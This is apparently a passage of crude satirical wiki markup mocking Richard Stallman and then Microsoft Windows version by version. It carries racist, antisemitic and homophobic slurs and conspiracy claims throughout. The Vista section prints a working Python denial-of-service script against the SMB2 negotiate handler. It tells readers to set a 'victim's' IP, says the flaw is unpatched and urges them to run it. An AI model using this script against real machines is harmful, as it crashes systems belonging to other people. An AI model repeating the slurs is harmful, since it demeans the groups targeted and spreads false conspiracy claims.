<youtube>I25UeVXrEHQ</youtube>

As explained in the video comments, RMS was merely providing a [[bullshit|powerful illustration of the tyranny of social and hygenic norms]]. Go ahead, pick and eat the skin from your feet. Dinner is served!

== Stallman goes on an Autistic Tardrage ==

<youtube>WM8mKMtEg7M</youtube>

==Copypasta==
[[Image:g_trolls_with_RMS_copypasta.jpeg|thumb|/g/ has trolled a computer talk show with the Stallman copypasta, in commemoration of Richard Stallman's obsession with calling Linux GNU/Linux.]]
<center><youtube>QlD9UBTcSW4</youtube></center> 
[[Image:Copypastag2.jpg|thumb|Stallman copypasta in action]]
[[Image:Stallman-copypasta.jpg|thumb|[[Disappoint|Son, I am disappoint]]]]
{| border=1 cellpadding=5 cellspacing=0
|[[Imma Let You Finish|I'd just like to interject for a moment.]] What you're referring to as [[Linux]], is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. [[Shit nobody cares about|Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.]]

Many computer users run a [[modding|modified]] version of the GNU system every day, [[Nobody Cares|without realizing it]]. Through a [[failure|peculiar turn of events]], the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by [[losers|the GNU Project]].

There really is a Linux, and [[basement dweller|these people]] are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the [[butthurt|so-called]] "Linux" distributions are really distributions of GNU/Linux.

Stallman, [[Shit no one cares about|no one gives a flying fuck.]]
|}

[http://www.pcworld.com/article/217601/hackers_school_a_new_jersey_school_data_system.html Fukken win]:

[[File:Gnulinux.png|border|center]]

== Copypasta 2 ==
[https://carstengeest.wordpress.com/2015/07/07/stallman/ By Carsten Geest]:

<blockquote>
The Open Source community has a notable man called Stallman. When he was young, he wanted to write his own software, but everything he wrote ended up becoming a notepad. Once upon a time, struggling with implementing the <q>onKey</q> event, he found a letter from a Finnish student who wanted to write his own OS. He wrote, in particular, <q>hello, I’m 17 and I wrote a bootloader, pls help me write the rest, my OS is almost ready. Linus from Finland</q>. Stallman responded: <q>Hello, my name is Richard Stallman, I’ve already written a notepad for Unix and I think I can help you write your own OS, young man</q> The first thing Richard did was to try write a kernel for Linus’ bootloader, which he called The hURD. Unfortunately, once again it ended up being a text editor. Linus was angry and then another person, called Cox, came and wrote the whole kernel. He was a very good British man who could not stand others feel bad. Stallman, seeing how his fame is being stolen by Cox, said: <q>I have already written many notepads for the Linux system, you cannot just delete it all</q>. Linux had to agree, due to their friendship, and left all the notepads inside the Linux. It was renamed to <q>the GNU</q>. To this day, even in 2015, we can enjoy the beauty of Stallman’s genius. For example, there’s a program which takes one file and renames it to another file. Also, there’s a program which deletes a file. Windows doesn’t have such things. Just imagine Linux without such software.

Stallman’s magnum opus is emacs. It’s one of his notepads where he put a scripting language into. Only a visioner is capable of writing a text editor and putting a scripting language there. Some may say it’s 1 grade students’ project, but they will be wrong, as Stallman didn’t put there Basic or Pascal — he’s put there Lisp. It’s a very powerful language, because it’s functional (Basic and Pascal are called dysfunctional). From what I understood reading Wikipedia, functional languages are very awesome because they’re very math. Only smartest people can code in them because it’s too math for common people. Basic is not enough math, C is not enough math, Lisp is a lot of math because it’s functional. So emacs has Lisp in it, so it’s a very good editor made by a innovator and a genius, who understands math and functions.

When he turned 62, Stallman got a bit tired of writing notepads, so he founded Free Software Foundation to promote his ideas. The foundation’s main idea is that you cannot use a program unless it’s written by Stallman himself. He believes that anything not written by Stallman is potentially a patent troll and a vendor lock-in, because there’re no guarantees to Stallman, and only Stallman gives guarantees to himself. And we again return to the topic of notepads, unfortunately. In a perfect world, there are not other programs, but notepads written by Richard Stallman. Preferably with LISPs inside (no less than 85% functional). Maybe Stallman is right, maybe he is wrong, I can’t tell for sure. What I know for sure is that he’s a visioner, an innovator, and we definitely should at least consider his opinion.
</blockquote>

== Stallman goes full retard ==
[[File:Naivestallman.jpg|border|center]]

{{achtung|HE HAS FUCKING CANCER}}
After years of [[Bestiality|fucking goats]] and huffing his own [[body odor|body odor]], Stallman has caught an illness (and no, it isn't [[aids]]). We can only hope he can get back to good health and continue writing his operating systems for [[Transgender|transgenders]] and [[Redditors|redditors]] across the world.

[[File:stallmanbald.jpg|thumb|Oh God..|200px]]

<youtube>fuJvKHm6SvU</youtube>

== See also ==
* [[Theo de Raadt]]
* [[Linus Torvalds]]
* [[Eric Raymond]]
* [[Alan Cox]]
* [[Darren Reed]]

== External Links ==
* [http://www.stallman.altervista.org/ Richard Stallman's personal site]
* [http://digg.com/linux_unix/Richard_Stallman_supports_voluntary_pedophilia RMS supports pedophilia], as long as the receiver is a [[Gentoo|GPL licensed foster child]].
* [http://www.forbes.com/forbes/2006/1030/104_print.html An unbiased article on the effects of RMS on today's economy]
* [http://www.fsf.org/blogs/rms/entry-20050920.html RMS bitching about Creative Commons not being copyleft Nazis like him]
* [http://www.stallman.org/archives/2009-jan-apr.html#07%20April%202009%20(Thermite) RMS is a 9/11 truther! JEWS DID WTC]
* [http://stallman.org/archives/2009-mar-jun.html#24%20June%202009%20(Hospitals%20are%20sterilizing%20HIV-positive%20women) RMS thinks niggers with AIDS should be sterilized.]
* [http://www.trollaxor.com/2000/11/rms-interview.html RMS interview]
* RMS is [http://stallman.org/archives/2011-jul-oct.html#06_October_2011_%28Steve_Jobs%29 glad] that [[Steve Jobs|Jobs]] died
* [[Wikiquote:Richard_Stallman|Wikiquote page]] - lulz, RMS is a [[pretty cool guy]]

=== Antinatalist-like attitudes ===

* http://edward.oconnor.cx/2005/04/rms - RMS values "contributing to a program like Emacs" over [[breeder]]ism—something that any filthy, lowly animal or nigger can do
* https://stallman.org/articles/children.html

{{Softwarez}}
{{Timeline|Featured article August 10, [[2005]]|[[Latin]]|[[{{PAGENAME}}]]|[[Internets]]}}
{{Timeline|Featured article August 23 & August 24, [[2011]]|[[Nevada-tan]]|[[{{PAGENAME}}]]|[[savetheinternet]]}}

[[Category:People|Stallman, Richard]]
[[Category:Softwarez]]

Windows

2026-07-15T05:44:25Z

SmidgeX2: Added the offended embed due to the Mac vs PC arguments.

{{OffendedKids}}

{{corner|br|[[Image:Windows-is-not-genuine.gif‎|link=Linux]]}}

{{notice|''If you are [[faggot|homosexual]], see [[Mac OS]]; if you [[Hippy|do not shave and/or shower]], see the shit [[Linux]]''}}
[[File:Update Windows.jpg|center|]]
[[File:Viva open source.jpg|thumb|right|250px|The official Microsoft salute.]]
[[File:OSXP 12.jpg|thumb|right|[[OS-tan|Windows XP Mascot]] is here to please the [[faggot|windows]] [[wimmin|userbase]].]]
[[File:Windows7.png|thumb|260px|Windows 7. Built by [[Mexican]]s under the direction of [[Vanessa Hudgens|Chiquita Banana]].]]
{{quote|Well, it crashes on me about 50 times a day, but it's still better than a Mac.|Typical Microsoft Customer}}

'''Microsoft Windows''', also known as '''Michaelsoft Binbows'''<ref>[https://www.youtube.com/watch?v=yDzAAjzbV5g "MICHAELSOFT BINBOWS" isn't what you think it is - Nick Robinson]</ref> and '''Windoze''', is a [[botnet]] that is remote-controlled by billionaires through enforced updates.<ref>[https://www.tastyfish.cz/lrs/autoupdate.html LRS Wiki: autoupdate] - "Autoupdate is a malicious software feature that frequently remotely modifies software on the user's device without asking, sometimes silently and many times in a forced manner without the possibility to refuse this modification […]"</ref>

It is composed of herpes-inducing malware, produced and developed by the Microsoft Corporation in order to spy on the whole world. Windows is known for its wide appeal, attracting users from the [[nerd|most hardcore gamers]] who live a meaningless existence, to [[:File:Edsothegran.jpg|your grandmother]] who is too senile to know any better. Microsoft gives users a wide array of half-assed, broken [[dildos|tools]] and regular untested security [[viruses|updates]], written by slave-labour code monkey pajeets. These "feature updates" can be put to [[porn|all kinds of uses]], like permanently crashing your entire system. As it stands, Windows is a [[bullshit|very reliable]] OS, provided users don't have hang-ups about their computer crashing every five seconds, randomly deleting their files, doxxing their information, and catching fire (See: [[Hans Reiser]]).

==History==
[[Image:windowsbluescreen.jpg|thumb|right|250px|AT FULL FORCE]]
Microsoft was founded by [[Bill Gates]] and named after the size and shape of his penis (hence "Micro" and "soft"—the term cannot possibly apply to the software because ironically it is macro in size and hard to use) with the intention of a hostile overthrow of the PC market, starting first with the rape of [[DOS]]. The usability of Windows 3.1 ushered in the reign of our [[Illuminati]] masters as we know it today. Windows 3.1's success was due in large part to the killer app ''Solitaire'', since this program was simple enough to run without crashing, as long as nothing else was running at the same time. Since their humble beginning, Microsoft products are often ridiculed for having [[spyware|security problems]], crashing [[over 9,000]] times a second, being bloated & slower than a dead turtle with a broken leg.

Windows has remained the most bloated computer software since its conception, and succeeds at creating its [[Jew]] qualities. Chief competitors such as [[Apple|Fapple]] and [[Unix|Jewnix]] have failed to acquire a significant market share. Especially the tag team Linux/Unix family of operating systems has failed to gain a significant foothold of its core constituency of [[You|people who don't get laid]]. Meanwhile, Apple ''has'' expanded out towards a new userbase of hardened [[Gay|gays]], [[hipsters]] and [[Liberals|useless people]] in the early 2000s, but has failed to mount a significant opposition.

The [[Niggers|potentially vast resources]] of the [[Africa]] market, however, are yet to be exploited by any of them. This may be because monkeys have no money and prefer to use pirated versions and / or bananas. The validity of such a claim has been questioned, as victims of [[white guilt]] believe the ''underlying'' reason for "minorities" having no money, is because they are swindled out of it by the [[white people|white man]].

The purported advantages of alternative operating systems such as Linux are that, like [[AIDS]], they're free.

The [[Hipster|trendy]] appeal of Macs on the other hand works for similar-[[Gay|minded]] people, despite the fact that they failed to capture a significant enough audience, closed-source and hardwired to completely overpriced and underpowered electronic dumpsters. Apple Inc. remains [[profit]]able only thanks to [[Macfag|hordes of dickless idiots]] who pay the double cash for [[ZEN|bland]], [[LOL WUT|elitist]], cookie-cutter [[P-p-p-powerbook|laptops]] with one button (other than keyboard/trackpad).

Now, none of this ever happens with [[Linux]], because nobody uses it.

==Windows Versions==

Most people try to forget the pain and suffering Windows has brought to them, by hiding it under a blanket of "''nostalgia"''. We at ED do not.

===Windows 1.01 - ME===
Nobody fucking cares about these versions anymore since they're pretty much obsolete.

===Windows XP===

[[File:Oh-shit-spyware-windows-xp-4chan.jpg|thumb|right|Your average installation]]
[[File:DinduXP.jpg|thumb|right]]
[[Windows XP Performance|Windows XP]] came out [[9/11| last Tuesday]] and like everything Microsoft, took [[forever|a while]] to mature. Now it's fairly stable, if somewhat outdated. But [[faggots|some people]] don't seem to mind using an archaic OS that shipped with [[Web 1.0|MSN Explorer]] and support for [[floppy disk|floppy drives]]. They were convinced at one point that someday, Microsoft will see the error of its ways and [[unrealistic expectations|throw away several years of development to Vista and Windows 7 and return to 2001]]. They have likely installed [[Rainmeter]] at a kernel level and cannot upgrade or they will lose access to all of their [[loli|data]], which is encrypted, so that their [[your mom|mom]] can't get it.

While most people who have a [[job]] and crazy shit like that have moved on to Windows 7, if not 10, there are still legions of [[unemployed]] [[Aspies]] who insist on tweaking their Windows XP "rigs" instead of doing more productive stuff like looking for a job, [[masturbating]], or actually pretending like this is the [[2010s]].

There are those who are yet more faggy and install [[VTEC|64-bit]] Windows XP, despite that it was minimally supported by Microsoft. There are few, if any, drivers or applications that use the [[awesome]] power of 64 bit to double the size of every pointer, but don't tell any of these faggots that they are [[dying alone|wasting their lives]] on an outdated, shitty operating system from a shitty company. Some retards claim that Windows XP is still usable in {{CURRENTYEAR}}. These people are diagnosed with [[High Functioning Autism|autism]] and their primitive rigs are constantly targeted by all the malware in the book. As of 2017, up to 5% of the world, easily around 300 million people, are still fucking using XP; granted, they're usually poorfags from the third world or disgruntled employees and [[school|students]] who are stuck with XP, since their companies or schools are way too lazy to buy a modern OS, then complain about having to pay their IT guys overtime all the damn time.

'''XP Nostalgia'''
Fun Fact: Windows XP is so old now that, if it was a female, it could soon hit the wall. It is only natural that there would be a strong sense of [[nostalgia]] and saudade over the OS being over two decades old.

{| style="margin: 0 auto"
|{{frame|{{videoframe|R0TP|background-color: #DBD8CD;|font-weight: bold;
|<youtube>W9DST-6jIBU</youtube> <center>'''Bonzai Buddy goes apeshit'''</center>
|<youtube>ahXQ7e8w7mQ</youtube> <center>'''You're an all st-- (BSOD)'''</center>
|<youtube>deSovizv2YY</youtube> <center>'''Old but gold'''</center>
|<youtube>yLxP3V4veJk</youtube> <center>'''Windows XP song'''</center>
|<youtube>npTC6b5-yvM</youtube> <center>'''Secret game for XP, delete sys32 for it'''</center>
|<youtube>yX8yrOAjfKM</youtube> <center>'''Collegehumor jews their idea'''</center>
|<youtube>0sxb1Em9ruc</youtube> <center>'''Some teenager destroys a windows XP VM and eventually makes a career out of it'''</center>
}}|border=#000000|background=#FFFFFF}}
|}

<center><gallery>
File:Windows XP OS Usage 2016.jpg|XP refuses to die, even 15 years later.
File:Windows-xp-pro-box.jpg
File:Tidus Background.jpg
File:Windows XP castle.jpg
File:Windows XP bsods.jpg
File:Windows XP typical screen.jpg
File:Windows XP task fail.jpg
File:Windows XP Firewall.jpg
File:Windows XP OOT.jpg
File:Windows XP ded.jpeg
File:Windows XP Ceiling Cat.jpg
File:Windows Hammers.jpg
File:Windows XP error2.jpg
File:Windows XP curb.jpg
File:Windows XP Majoras Mask.jpg
File:Windows XP army.jpg
File:Windows XP Bluescreen Paint.jpg
Image:Bliss Gaooooh.jpg
File:XP Tan Death.jpg
File:Company Billboard Uses XP.jpg
</gallery></center>

===Windows Longhorn===

The prototype of Vista.

===Windows Vista===
[[Image:Windows_White_screen_of_Death.png|thumb|right|250px|Typical Windows error message]]

What happens when you try to combine the bug-ridden bloated-ness of a Microsoft operating system with the overdesigned aesthetics of an Apple product? A feat that was thought to be impossible by industry experts.

Windows Vista was an unfinished, rushed-out, bloated and beautiful pile of shit. It took several service packs before it became an okay-to-use OS. But by that time the OS was already despised and Windows 7 was right around the corner.

It looks just [[tracing|just like]] Mac OS X! All windows have rounded corners, the browser has tabs, everything is shiny like a [[gay|man slathered with vaseline]], and you can do that cool exposé thing (if you have 4GB of RAM, that is). The Vista / OSX similarity was a [[hot topic]] with [[slaves|fanboys]] on both sides; they were [[ALL CAPS|screaming]] for your blood should you suggest that their beloved OS is not [[original content|original]].

* FACT: Everyone nowadays calls Windows Vista the worst operating system ever, but only because most of the millenials that write such nonsense never experienced Windows ME in a real work environment. It was already dead the moment Windows XP came out.

* [[Jews]] made Vista much slower, causing the entire world to become unproductive. This insidious action was believed to target mainly [[Americans|Amerifats]], but has ended up pwning the entire planet.

*Vista's main feature was that it [[Divide by zero|divides by zero]] once every hour. Vista then decided to fuck off and blue screen itself.

'''Vista technology'''
[[Image:Windows Vista.jpg|thumb|right|175px|zomg [[torrent]] plz![[oneoneone|111]]]]
[[Image:VISTA.jpg|thumb|right|175px|LOL]]
[[Image:Windowssecurity.png|thumb|right|175px|UAC. [[Serious Business]].]]
[[wut|Windows Vista is the next generation in technology]]. It was developed using the legendary [[Computer Science III]] library system and used the DRAIN graphical API to suck the shit right out of your graphics card's asshole.

'''Incompatibility monitor'''

The [[Forever Alone|incompatibility]] monitor ensures that something in your computer [[fail|won't work]] with Vista. Incompatibility monitor checks to make sure that everything on your computer is responding to the operating system, and if everything is working, incompatibility monitor is designed to pick the one thing you use the most and make it stop working. The incompatibility monitor runs twenty-four hours a day, even when you think you've shut off your computer, and is unable to be uninstalled.

'''User Account Control'''

User Account Control (UAC) is an application Microsoft put into Windows Vista as a new feature. It was Microsoft's way to keep the viruses you get from watching lolita porn from messing up your computer. The way it works is simple, yet annoying. Everytime you run an application it asks if you are sure you want to run it and then it tells you that it may fuck up your computer. If you say yes, it will ask you another question that looks different, but is the same basic question. Thus, protecting your computer from [[you]]rself, before fucking it up.
The most ironic thing about UAC is the fact that Windows is the world's biggest computer virus in itself, and it is rather amusing to think that a Virus protects itself against other viruses. In the end this feature caused so much drama that Microsoft toned it down in future versions, but also made it scarier in Windows 10 (full screen pop-up warnings).

'''Aero Glass [[Faggotry]]'''

A completely useless and now abandoned feature that Microsoft claimed is innovative. Now you can sort of see through the window panes to the other window panes behind them, but it's slightly blurred so you actually cannot see anything behind the window. It drains power from your GPU to function properly and may even cause display crashes that reset the Windows visuals back to basic. Sounds confusing? That's the way we like it here at Microsoft.

<center>{{fv|dcigs|background-color: white;|font-weight: bold;|<youtube>3QdGt3ix2CQ</youtube>|<youtube>sPv8PPl7ANU</youtube>|
<youtube>pL5pA4qY7jc</youtube> ||}}</center>

'''VISTA [[FAQ]]'''
*'''Q: Is it safer?'''
 
[[EXTREME ADVERTISING|JUST LOOK AT IT HOLY SHIT DOES IT LOOK HIGH TECH IT'S '''GOT''' TO BE SAFER, I MEAN, I KNOW THEY MAKE VIDEO GAMES NOW, BUT THEY WOULDN'T ''POSSIBLY'' DRESS UP THEIR OPERATING SYSTEM TO JUST ''LOOK'' BETTER RIGHT? THOSE GRAPHICS SAVE YOU FROM VIRII, BUT MORE IMPORTANTLY, IT HAS ALL OF THOSE ROUND EDGES SO YOU DON'T BANG YOUR HEAD ON THE CORNERS BECAUSE THAT WOULD BE DANGEROUS FOR THE USER! SAFETY IS THE NUMBER ONE PRIORITY!!!!]]
 
 
*'''Q: What does VISTA stand for?'''
 
Vainglorious & Incompatible Software with Tenacious [[Asperger's]].
 
 
*'''Q: How do I uninstall VISTA and replace with 95/98/XP/Linux/OSX/anything?'''
 
Because VISTA was modeled after [[AIDS]], there is no cure.
 
 
*'''Q: Why is my C:\Windows\ folder over 20 gigabytes?'''
 
[[I did it for the lulz|For the Lulz]].
 
 
*'''Q: I bought a [[PC]] package with preinstalled Vista. I want to install XP on it. Where is the Vista Installation DVD and where can I find XP drivers for the hardware?'''
 
Ha ha ha! I mean... good luck with that.
 
 
*'''Q: Why is there so much fail with VISTA?'''
 
Because [[Fact|you're adopted]]
 
 
*'''Q: Why don't any [[games|applications]] work with VISTA?'''
 
To fix compatibility issues, visit the [[Tech Support|Microsoft Technical Support Page]].
 
 
*'''Q: When I try to delete a file, Vista says, "You don't have rights to delete this file". But I am the owner of the file. Why can't I delete it?'''
 
Since everything you have on your computer with Vista belongs to Microsoft, you simply just don't have rights to delete your own files. Read the EULA before you accept it.
 
 
*'''Q: What kind of computer will run Vista smoothly?'''
 
The latest supercomputer comes close, but you have to run everything at lowest settings for it. At home, you'll need at least an 61-core Xeon Phi processor with at least 768GB RAM, three NVIDIA GeForce GTX Titan X's in SLI, and at least [[OVER 9000|9001]] GB of free hard drive space. Double those requirements if you want to play both solitaire ''and'' minesweeper.
 
 
*'''Q: Isn't Vista the best operating System EVAR?'''
 
"YES" - [[Bill Gates]].

'''[[fail|Windows 7/Vista]] remote (sort of) SMB 2.0 malformed protocol version handshake ruin'''

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionality.

The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for further communication.

This SMB2 security issue is specifically due to a MS patch, for [[LOL|another SMB2.0 security issue]]: KB942624 (MS07-063)

<pre>
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
</pre>

You need to be using [[lunix|Linux]] (or [[Mac OS X]]) to get this working properly.

Copy and paste that into a file called "smb.py". Edit "IP_ADDR" in the script to what your victims IP is. Later on I'll update the script so it can have an IP appended at the end or even have a list of IP's piped into it :)

<pre>
party_shaker@lappy/~$ chmod +x smb.py
party_shaker@lappy/~$ ./smb.py
</pre>

It seizes up their shit and crashes the OS instantly. It hasn't been patched yet. GO-GO-GO (Disclaimer: [[script_kiddie|I did not discover this]])

[http://archive.fo/Q0fHr A Java Version if your python IDE is shitty because you use Windows]

===Windows 7===

[[File:Windows-7 o 132590.jpg|thumb|right]]
With the release of Windows 7, Microsoft announced they were [[troll|trolling]] us from the start and there isn't a damn thing we can do about it.

{{quote|So we decided to ship the Windows 7 code as Windows 6.1 - which is what you will see in the actual version of the product in cmd.exe or computer properties.|Actual quote from Mike Nash, Microsoft Corporate Vice-President}}

[[Image:Windows7space.jpeg|center]]

Windows 7 is basically service pack 3 of Windows Vista, with a less vibrant design. Since most people now had computers that were powerful enough to run Vista by the year 2009, they all ate it up, leaving Vista behind.

*You know how when your network adapter isn't working, you try troubleshooting and it suggests that you try remote assistance? That was my idea.

*The lack of blue screens in 7? That was MY idea. Wait, you're getting blue screens in 7? Your idea, not mine.

*You know the inability to view [[GIF|animated gifs]] without some [[Ubuntu|shitty]] [[Open Source|3rd party]] program? That was my idea.

===Windows 8===

[[Last Thursday]], Microsoft CEO [[Steve Ballmer|Steve Sweaty Bollocks ballmer]] unveiled the newest version of Windows, the aptly named Windows 8. This news was initially met with jubilant cheers by the masses until they saw...

[[File:Win8chrome1.jpg|Fisher-Price OS|frame|center]]

[[File:Hipster windows.jpeg|thumb|right]]
Having carefully studied Apple's success with the [[iPad]] and [[iPhone]], Ballmer logically deduced that the future of computing lay in full-screen, single-tasking "apps" that would provide a unified user experience across phones, tablets, and high-end desktops. Inspired by Microsoft's last successful full screen, single task-switching OS, he ordered his engineers to rewrite [[DOS|MS-DOS 5]] for .NET with new [[gay|METRO]] aesthetics. In a bold move, Ballmer then personally force-raped METRO to [[Windows 7]] to spawn Windows 8, an act against [[God]], nature, and [[Steve Jobs]] that precipitated a mass defection of Microsoft developers to [[Google|marginally less evil corporations]].

[[Image:hojo-aeris-crop.jpg|thumb|[[Bestiality|Ballmer supervises the creation of Windows 8. Note the bestial lust of the Windows 7 kernel at the sight of a new, virginal UI.]]]]

Dubbing it the Metro UI, Microsoft was banking on this version of Windows to secure their 90% market share and put a ding in [[iPad]] sales. Much to Ballmer's disappointment, many desktop and enterprise users could not understand his genius in allowing them to run Windows Phone 7 on their eight-core desktops:

<center>
{{frame|{{morphquote|mqtest3|background-color:#ffffff; width: 700px; height: auto;|font-weight: bold;

|Disjointed is the key word that comes to mind after you spend some time with Windows 8. As a tablet OS, if you can keep in Metro land, things feel good. Very good. The gestures are a bit more complex and less intuitive than we've seen on other tablet operating systems, but more savvy users will appreciate that. That said, Windows is still primarily a desktop operating system, and once you get to that level the cracks in the foundation start to show.|[http://www.engadget.com/2012/02/29/microsoft-windows-8-consumer-preview-detailed-impressions/ Engadget] is a huge fan

|Never — and I’m going to repeat this for additional emphasis, never – have I been as horrified by one of the company’s products as I am by this one. (Yes, I used Microsoft Bob.) Every choice seems to have been made for a sketchy reason, and the full collection of them bears the haphazard feel of the morning after a particularly raucous college party. Scratch that: Even at my most inebriated, I’m pretty sure I would never conceive of something like Windows 8.|[http://www.extremetech.com/computing/121015-windows-8-may-drive-me-to-linux Microsoft fanbois react].

|Between Microsoft's well-established negative brand equity -- to me, only General Motors(GM) is worse -- and the software maker's third-grade marketing acumen, investors can bank on viciously negative buzz for Windows 8, a drumbeat of crankiness that will only build until the fall launch. At which point, things will turn really foul. Remember, it won't be just PC users bitching and moaning about being forced to learn a new way to use their computers. This product is also deploying on mobile tablets and, in a sense, smartphones, because Windows 8 is really the PC version of Windows Phone. So the drumbeat of complaints will pour from everywhere well after the official launch.|[http://www.thestreet.com/story/11572024/1/the-digital-skeptic-why-everyone-hate-windows-8.html Even investors are getting to know it].

|For all the hatred I have towards OS X 10.7's "iOS-ification", at least Apple's melding their disparate OSes slowly, and clearly. The learning curve's not very high. Windows 8 sounds like Microsoft decided to have a threesome between Windows, XBox, and Android. Un-unified user experience and dumbing things down. Meh.|Comments from [http://www.maximumpc.com/article/features/8_things_we_hate_about_windows_841 this article].
|border=#EE6363|background=#ffffff}}}}
</center>

With this version of Windows, Microsoft anticipated a lull in new PC sales. This was what happened with [[shit|Vista]], which launched to boost the decline in hardware sales in 2009. Of course, many current Windows 7 users saw right through this bullshit and have opted to keep Windows 7 or XP until Microsoft unfucks Windows 8. Others, meanwhile, decided to abandon ship and move over to [[OS X]] or [[Linux]], because [[unrealistic expectations|that'll show those greedy nerds in Redmond who's boss]]. If only Microsoft had kept improving Windows 7, a stalled attempt at fixing Vista, right?

On a sidenote, the Metro UI name later had to be dropped by Microsoft, because a German shopping mall with the name Metro sued them.

<center>[[File:Aolwin8.jpg]]</center>

=== Windows 8.1 ===
[[Image:windows8floppy.jpg|thumb|This is how [[G|/g/]] installs Windows 8.1]]
It's finally here. The update we've all been waiting for. There is this much: imagine Windows 8 except approximately 2% better. Doesn't get much better than that, does it? What will these brilliant bastards think of next? I was going to say it would be nice if they could add a feature to scroll through my [[beastiality|horse porn]], while the computer is locked, but oh well.

{{center|<youtube>VQb5caeSo00</youtube>}}

=== Windows 10 ===
{{Breakingnews|Windows 10 is an NSA backdoor. All of your data is recorded and sent to the feds. Also, 10 is bloated with more spyware and adware.}}
[[File:Something happened.png|thumb|Something happened]]

After the clusterfuck that was Windows 8 and it's half assed 8.1 update, Microshit decided to [[LOLWUT|skip 9 and call the new OS Windows 10]]. The start menu has returned in a sort-of Windows 7 form, but it's also been paired with the METRO UI designed by underpaid [[college]] graduates. The old METRO UI can be brought back for [[nobody|those that give a fuck]]. A lot of [[basement dwellers|people]] have been paranoid over Microsoft [[NSA|asking for your personal information]] "to make the experience better" and that [https://news.ycombinator.com/item?id=10053420 every 30 minutes Windows 10 sends all typed text to Microsoft], in fear that the government might look into their files and find their huge collection of [[My Little Pony|horse porn]], despite the fact that they've always been spying on you in some form.

The information collecting was mostly for feedback purposes. In the beta certain screenshots resulted in their [[rage]] in the first place, and it can be easily disabled by following a few simple steps. The best feature about Windows 10 is the ability to roll back to Windows 7 or 8, but like the cunts that Microsoft are, you only have month before they nuke your backup.

<center><gallery>
File:Win 10 we finally fixed it.jpg
File:Windows 10 Truth.png
File:Windows10.png|A perfect example of merging shit that worked with shit that didn't.
</gallery></center>

=== Windows 11 ===
<center>[[File:Win11-macos.png|thumb|center|800px]]</center>

<center>'''Basically a shitty reskin of Windows 10 and macOS that is somehow even worse than that was. Do we need to say more? Also apparently doesn't run on CPUs older than Coffee Lake or higher despite them meeting the OS requirements.'''</center>

{{Clear}}

==Amazing technology==
[[Image:WindowsReboot.jpg|thumb|right|200px|[http://download558.mediafire.com/5h7km5av79lg/8cqwf7qa881dl49/madefreshbybigbillygates.bat "Thanks, Microsoft."]]]
Windows features amazing technology such as rebooting your computer. It even comes with [[Shit nobody cares about|built-in fax support]]! It also appeals to [[13-year-old boys]] because it allows them to make "viruses" that [[lie|don't replicate themselves]], change other users' passwords through the [[Command Line|command prompt]] if they are running an administrator account; they are too [[retarded]] to realize that they can already do it with a graphical user interface by using the fucking Control Panel, and messing with Microsoft Sam. After all, who cares about blind people being able to use computers when you can make a robot say, "I suck cocks"?

Windows also comes with a [[Notepad|text editor]] that only supports Windows \r\n newlines and fucks up reading text files made with any other operating system and a [[MS Paint|graphics editor]] that doesn't support alpha transparent PNG images, [[GIF|animated GIFs]], or even something as simple as layers.
{{Clear}}

==The Anti-Windows Movement==
[[Image:Nazisoft_Vindows_ZP.png|thumb|left|200px|The [[White Man]]'s choice of OS]]
This movement is largely led by Linux users and other [[Apple|retards]] who think Windows is the [[irony|shittiest operating system ever]]. Little do they realize that making fun of Windows ME's constant crashing became a worn out joke a long time ago. The up-to-date joke being the fact that Windows catches more strains of viruses than a nymphomaniac [[Whore|prostitute]] does. The fact is that Windows XP and above are pieces of shit, literally fecal matter. Fags actually sit around waiting for someone to tell them all this, so they have a chance to argue about it for hours and hours.

[[Some Argue|Some people]] have hypothesized that Windows is an illegal monopoly, but M$ has proven time and time again that it isn't, namely by bundling their own web browser, multimedia program and more recently an [[shit|exceptional]] security system along with their OS. Today Microsoft makes most of its monies from [[Android]] phone royalties and has replaced innovation with litigation.

In addition to the numerous positive attributes of Microsoft Windows, OS X and Linux have a pitiful choice of games and have to rely on emulation or [[Steam]] to fix this problem. As everyone knows, games are the [[porn|primary reason]] anybody uses a computer. Games, being the hobby of only [[nerds|roaringly heterosexual successful employed white men]], are a necessary past time for all normal people. This accounts for Windows's incredible popularity and customer loyalty.
{{Clear}}

==Plagiarism, the sincerest form of faggotry==

Microsoft, always known for originality equaling the talents of top [[DA]] [[trace]]rs, has been content to ride the coattails of other, [[lamer|cooler]] OS manufacturers. Here's some of the more blatant examples: 

===Zune===

A pathetic attempt at copying the Apple iPod.

{{main|Zune}}

===[[Seinfeld]], with a dash of memetology===
